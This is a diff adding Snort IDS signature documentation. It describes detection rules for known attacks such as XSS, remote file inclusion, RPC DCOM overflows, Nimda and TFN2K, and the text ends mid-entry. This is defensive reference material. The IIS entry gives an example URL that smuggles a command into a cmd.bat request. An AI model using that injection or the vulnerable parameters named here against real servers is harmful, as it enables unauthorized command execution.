+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "lid" parameter in the "error.php" script used 
+by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000345.txt
+++ snort-2.7.0/doc/signatures/100000345.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000345
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "SocketMail" application running on a webserver. Access to the file "inc-common.php" using a remote file being passed as the "site_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "site_path" parameter in the "inc-common.php" script used by the "SocketMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SocketMail
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2321.txt
+++ snort-2.7.0/doc/signatures/2321.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+2321
+
+--
+Summary:
+This event is generated when an attempt is made to access foxweb.exe, a 
+CGI web application running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+The FoxWeb application is used to communicate with FoxPro databases. The
+program foxweb.exe contains an error that may allow an attacker to
+execute arbitrary code of their choosing and possibly gain unauthorized
+administrator access to the server.
+
+--
+Affected Systems:
+	FoxWeb 2.5 and prior
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator by supplying input of
+their choosing to the CGI program.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1623.txt
+++ snort-2.7.0/doc/signatures/1623.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1623
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1294.txt
+++ snort-2.7.0/doc/signatures/1294.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid:
+1294
+
+--
+Summary: 
+This event is generated when traffic indicating Nimda worm activity is
+detected.
+
+--
+Impact:
+Possible infection by the Nimda virus.
+
+--
+Detailed Information:
+Nimda spreads by file infection, mass emailer, file share, or IIS unicode exploit 
+to attack unpatched systems.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows 2000
+
+--
+Attack Scenarios:
+An unpatched server is connected to the internet and is infected or
+an infected email is opened. Once infected the worm spreads itself.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Check the suspect host for signs of infection. Apply patches 
+or upgrade the operating system
+
+--
+Contributors:
+Snort documentation contributed by Timothy Vienneau
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/virus/nimda.asp
+
+F-Secure:
+http://www.f-secure.com/v-descs/nimda.shtml
+
+--
--- snort-2.7.0.orig/doc/signatures/2627.txt
+++ snort-2.7.0/doc/signatures/2627.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2627
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "repcat_import_check" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" or "gname"
+variable to cause the overflow. The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the
+database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000433.txt
+++ snort-2.7.0/doc/signatures/100000433.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000433
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BlueShoes" application running on a webserver. Access to the file "viewer.php" using a remote file being passed as the "APP[path][core]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "APP[path][core]" parameter in the "viewer.php" script used by the "BlueShoes" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BlueShoes
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1022.txt
+++ snort-2.7.0/doc/signatures/1022.txt
@@ -0,0 +1,63 @@
+Note rule content has been altered for this rule.  Don't know if we should say so in documentation.
+Rule:
+
+--
+Sid:
+1022
+
+--
+Summary:
+This event is generated when an attempt is made to execute a shell command possibly associated with an exploit with the Microsoft Jet database engine. 
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Jet database engine facilitates the addition, modification, deletion, and search of database data.  Jet may be used as a backend for web applications.  It allows the use of embedded Visual Basic for Application expressions in SQL strings.  A vulnerability associated with inadequate filtering of user input allows an attacker to execute code on the vulnerable server by supplying a command delimited by "|" characters.
+
+--
+Affected Systems:
+Jet 3.5, 3.51
+
+--
+Attack Scenarios:
+An attacker can craft a special URL to execute arbitrary commands on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable Jet ODBC drivers if they are not required.
+
+Upgrade to Jet 4.0.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms99-030.asp
+
+Bugtraq:
+http://www.securityfocus.com/bid/286
+
+
+--
--- snort-2.7.0.orig/doc/signatures/222.txt
+++ snort-2.7.0/doc/signatures/222.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+222
+
+--
+Summary:
+This event is generated when ICMP traffic is sent between Tribe Flood Network 2000 (TFN2K) hosts.
+
+--
+Impact:
+Attempted DDoS. It is possible there is a TFN2K host in your network. 
+
+--
+Detailed Information:
+When TFN2K hosts communicate using ICMP, they may use an ICMP echo reply with an ICMP identification number of 0 and with a sequence of A's in the payload.  The tell-tale sequence of A's is a problem with the Base 64 encoding that was employed.   
+
+--
+Affected Systems:
+Any TFN2K infected host. 
+
+--
+Attack Scenarios:
+TFN2K hosts communicate with each other for various reasons for the ultimate purpose of attacking a target.
+
+--
+Ease of Attack:
+Simple. TFN2K is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS425
+
+--
--- snort-2.7.0.orig/doc/signatures/3425.txt
+++ snort-2.7.0/doc/signatures/3425.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3425
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1255.txt
+++ snort-2.7.0/doc/signatures/1255.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1255
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3434.txt
+++ snort-2.7.0/doc/signatures/3434.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3434
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1303.txt
+++ snort-2.7.0/doc/signatures/1303.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1303
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2133.txt
+++ snort-2.7.0/doc/signatures/2133.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 2133
+
+
+--
+Summary:
+This event is generated when an attempt is made to access a Microsoft Biztalk Server application from sources external to the protected network. 
+
+--
+Impact:
+Arbitrary code execution and possible administrator access to the target host.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a Biztalk Server application. A buffer overrun exists in Biztalk that may lead to an attacker gaining the ability to execute arbitrary code on the host with the privileges of the user running the IIS webserver.
+
+The flaw exists in the HTTP Receiver functionality of Biztalk and this is not enabled by default.
+
+--
+Affected Systems:
+Any host using Microsoft Biztalk.
+
+--
+Attack Scenarios:
+An attacker would need to supply an overly long HTTP POST request to biztalkhttpreceive.dll.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Disable the HTTP Receive functionality.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7469
+http://www.securityfocus.com/bid/7470
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0117
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0118
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/ms03-016.asp
+
+--
--- snort-2.7.0.orig/doc/signatures/1410.txt
+++ snort-2.7.0/doc/signatures/1410.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1410
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3194.txt
+++ snort-2.7.0/doc/signatures/3194.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3194
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Internet Information Server.
+
+--
+Impact:
+Serious. Code execution leading to unauthorized administrative access
+on the target host.
+
+--
+Detailed Information:
+Microsoft IIS contains a programming error that may allow an attacker to
+execute commands of their choosing on a vulnerable system. If a valid
+request for an executable file on the system is made, the server will
+honor the request and execute any commands sent to the system. It may be
+possible for an attacker to execute system commands sent to cmd.exe or
+an executable batch file (.bat) for example.
+
+--
+Affected Systems:
+	Microsoft IIS 4.0
+	Microsoft IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can send a request to an executable file on the system and
+supply command arguments of their choice to the file. The server will
+honor the request and execute the attackers commands.
+
+For example, http://www.target.com/scripts/cmd.bat"+&+somecommand
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1302.txt
+++ snort-2.7.0/doc/signatures/1302.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1302
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000601.txt
+++ snort-2.7.0/doc/signatures/100000601.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000601
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "inv_markunpaid.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"inv_markunpaid.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/100000134.txt
+++ snort-2.7.0/doc/signatures/100000134.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 
+100000134
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Tcpdump. In particular, this event indicates that the exploit 
+was attempted via a malformed Resource Reservation Protocol (RSVP) packet.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS). Code execution may be possible.
+
+--
+Detailed Information:
+Tcpdump is a packet capture utility used on various BSD, Linux and UNIX style 
+operating systems.
+
+An error in the processing of the payload length in an RSVP packet may prevent 
+an attacker with the opportunity to overflow a fixed length buffer and execute 
+code of their choosing in the context of the user running tcpdump. This is 
+normally the super-user or administrator when tcpdump is used to sniff data 
+directly from a network interface.
+
+--
+Affected Systems:
+Tcpdump 3.9.1 and prior
+Ethereal 0.10.10 and prior
+
+--
+Attack Scenarios: 
+An attacker need to craft an RSVP packet with a packet payload length of 0 to 
+cause the overflow to manifest itself.
+
+-- 
+Ease of Attack: 
+Simple. Exploit code exists.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2092.txt
+++ snort-2.7.0/doc/signatures/2092.txt
@@ -0,0 +1,86 @@
+Rule:
+
+--
+Sid:
+2092
+
+--
+Summary:
+vulnerability in xdrmem_getbytes used by XDR in RPC portmap services.
+
+--
+Impact:
+System compromise, denial of service, execution of arbitrary code, 
+information disclosure.
+
+--
+Detailed Information:
+A vulnerability exists in various implementations of external data 
+representation (XDR) libraries. An integer overflow in a component 
+(xdrmem_getbytes) used by XDR can lead to a buffer overflow.
+
+The XDR libraries are widely used by multiple vendors to provide a 
+framework for data transmission across networks. This is most commonly 
+used in RPC implementations.
+
+A specially crafted rpc request can lead to remote system compromise and
+super user access to the target host. Additionally, a denial of service 
+and execution of arbitrary code with the privilege of the super user is 
+also possible.
+
+--
+Affected Systems:
+Multiple vendors including all those using:
+	Sun Microsystems Network Services Library (libnsl)
+	GNU C library with sunrpc (glibc)
+	BSD-derived libraries with XDR/RPC routines (libc)
+
+--
+Attack Scenarios:
+The attacker needs to send a specially crafted rpc request to the target
+host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade the vendor libraries to the latest non-affected versions. Any 
+statically linked binaries and applications must be recompiled and 
+restarted after the upgrade.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7123
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028
+
+CERT:
+http://www.cert.org/advisories/CA-2003-10.html
+http://www.kb.cert.org/vuls/id/516825
+http://www.kb.cert.org/vuls/id/192995
+
+--
--- snort-2.7.0.orig/doc/signatures/560.txt
+++ snort-2.7.0/doc/signatures/560.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+560
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
